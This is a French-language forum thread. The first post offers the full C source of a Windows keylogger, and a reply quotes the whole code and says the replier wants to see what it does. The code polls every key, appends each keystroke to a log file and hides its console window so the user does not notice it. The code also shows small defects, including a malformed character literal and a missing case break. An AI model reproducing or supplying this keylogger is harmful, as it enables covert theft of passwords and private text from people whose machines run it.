Posté(e) 3 juin 20224 a keylogger en C #include <stdio.h>#include <stdlib.h>#include <windows.h>#include <winuser.h>#include <windowsx.h>void enregistrer(int touche, char *cheminFichier); /* enregistre les frape dans un fichier */void cacher(); /* cache la fenetre mais le processus est visible dans le gestionaire de taches */int main(int argc, char **argv){ cacher(); char i; while(1) { for(i = 8; i < 190; i++) { if(GetAsyncKeyState(i) == -32767) enregistrer(i, (char*)"log.txt"); } } return 0;}void enregistrer(int touche, char *cheminFichier){ if(touche != 1 && touche != 2) { FILE *fichier = NULL; fichier = fopen(cheminFichier, "a+"); switch(touche) //http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731%28v=vs.85%29.aspx { case 8: fprintf(fichier, "%s", "[BACKSPACE]"); break; case 13: fputc('\', fichier); break; case 32: fputc(32, fichier); break; case VK_TAB: fprintf(fichier, "%s", "[TAB]"); break; case VK_SHIFT: fprintf(fichier, "%s", "[SHIFT]"); break; case VK_CONTROL: fprintf(fichier, "%s", "[CTRL]"); break; case VK_ESCAPE: fprintf(fichier, "%s", "[ECHAP]"); break; case VK_LEFT: fprintf(fichier, "%s", "[GAUCHE]"); break; case VK_DOWN: fprintf(fichier, "%s", "[BAS]"); break; case VK_RIGHT: fprintf(fichier, "%s", " "); break; case VK_UP: fprintf(fichier, "%s", "[HAUT]"); break; case VK_NUMPAD0: fprintf(fichier, "%d", 0); break; case VK_NUMPAD1: fprintf(fichier, "%d", 1); break; case VK_NUMPAD2: fprintf(fichier, "%d", 2); break; case VK_NUMPAD3: fprintf(fichier, "%d", 3); break; case VK_NUMPAD4: fprintf(fichier, "%d", 4); break; case VK_NUMPAD5: fprintf(fichier, "%d", 5); break; case VK_NUMPAD6: fprintf(fichier, "%d", 6); break; case VK_NUMPAD7: fprintf(fichier, "%d", 7); break; case VK_NUMPAD8: fprintf(fichier, "%d", 8); break; case VK_NUMPAD9: fprintf(fichier, "%d", 9); break; case 190: fputc('.', fichier); break; case 110: fputc('.', fichier); break; case 187: fputc('+', fichier); break; case 189: fputc('-', fichier); break; case 20: fprintf(fichier, "%s", "[MAJ_LOCK]"); break; case 46: fprintf(fichier, "%s", "[SUPPR]"); default: fputc(touche, fichier); break; } fclose(fichier); }}void cacher(){ HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0);} Modifié 3 juin 20224 a par fntnstk
Posté(e) 22 mars 20233 a Le 03/06/2022 à 15:46, fntnstk a dit : keylogger en C #include <stdio.h>#include <stdlib.h>#include <windows.h>#include <winuser.h>#include <windowsx.h>void enregistrer(int touche, char *cheminFichier); /* enregistre les frape dans un fichier */void cacher(); /* cache la fenetre mais le processus est visible dans le gestionaire de taches */int main(int argc, char **argv){ cacher(); char i; while(1) { for(i = 8; i < 190; i++) { if(GetAsyncKeyState(i) == -32767) enregistrer(i, (char*)"log.txt"); } } return 0;}void enregistrer(int touche, char *cheminFichier){ if(touche != 1 && touche != 2) { FILE *fichier = NULL; fichier = fopen(cheminFichier, "a+"); switch(touche) //http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731%28v=vs.85%29.aspx { case 8: fprintf(fichier, "%s", "[BACKSPACE]"); break; case 13: fputc('\', fichier); break; case 32: fputc(32, fichier); break; case VK_TAB: fprintf(fichier, "%s", "[TAB]"); break; case VK_SHIFT: fprintf(fichier, "%s", "[SHIFT]"); break; case VK_CONTROL: fprintf(fichier, "%s", "[CTRL]"); break; case VK_ESCAPE: fprintf(fichier, "%s", "[ECHAP]"); break; case VK_LEFT: fprintf(fichier, "%s", "[GAUCHE]"); break; case VK_DOWN: fprintf(fichier, "%s", "[BAS]"); break; case VK_RIGHT: fprintf(fichier, "%s", " "); break; case VK_UP: fprintf(fichier, "%s", "[HAUT]"); break; case VK_NUMPAD0: fprintf(fichier, "%d", 0); break; case VK_NUMPAD1: fprintf(fichier, "%d", 1); break; case VK_NUMPAD2: fprintf(fichier, "%d", 2); break; case VK_NUMPAD3: fprintf(fichier, "%d", 3); break; case VK_NUMPAD4: fprintf(fichier, "%d", 4); break; case VK_NUMPAD5: fprintf(fichier, "%d", 5); break; case VK_NUMPAD6: fprintf(fichier, "%d", 6); break; case VK_NUMPAD7: fprintf(fichier, "%d", 7); break; case VK_NUMPAD8: fprintf(fichier, "%d", 8); break; case VK_NUMPAD9: fprintf(fichier, "%d", 9); break; case 190: fputc('.', fichier); break; case 110: fputc('.', fichier); break; case 187: fputc('+', fichier); break; case 189: fputc('-', fichier); break; case 20: fprintf(fichier, "%s", "[MAJ_LOCK]"); break; case 46: fprintf(fichier, "%s", "[SUPPR]"); default: fputc(touche, fichier); break; } fclose(fichier); }}void cacher(){ HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0);} Salut, je n'ai jamais tester le c, voyons voir ce que cela fait.
Créer un compte ou se connecter pour commenter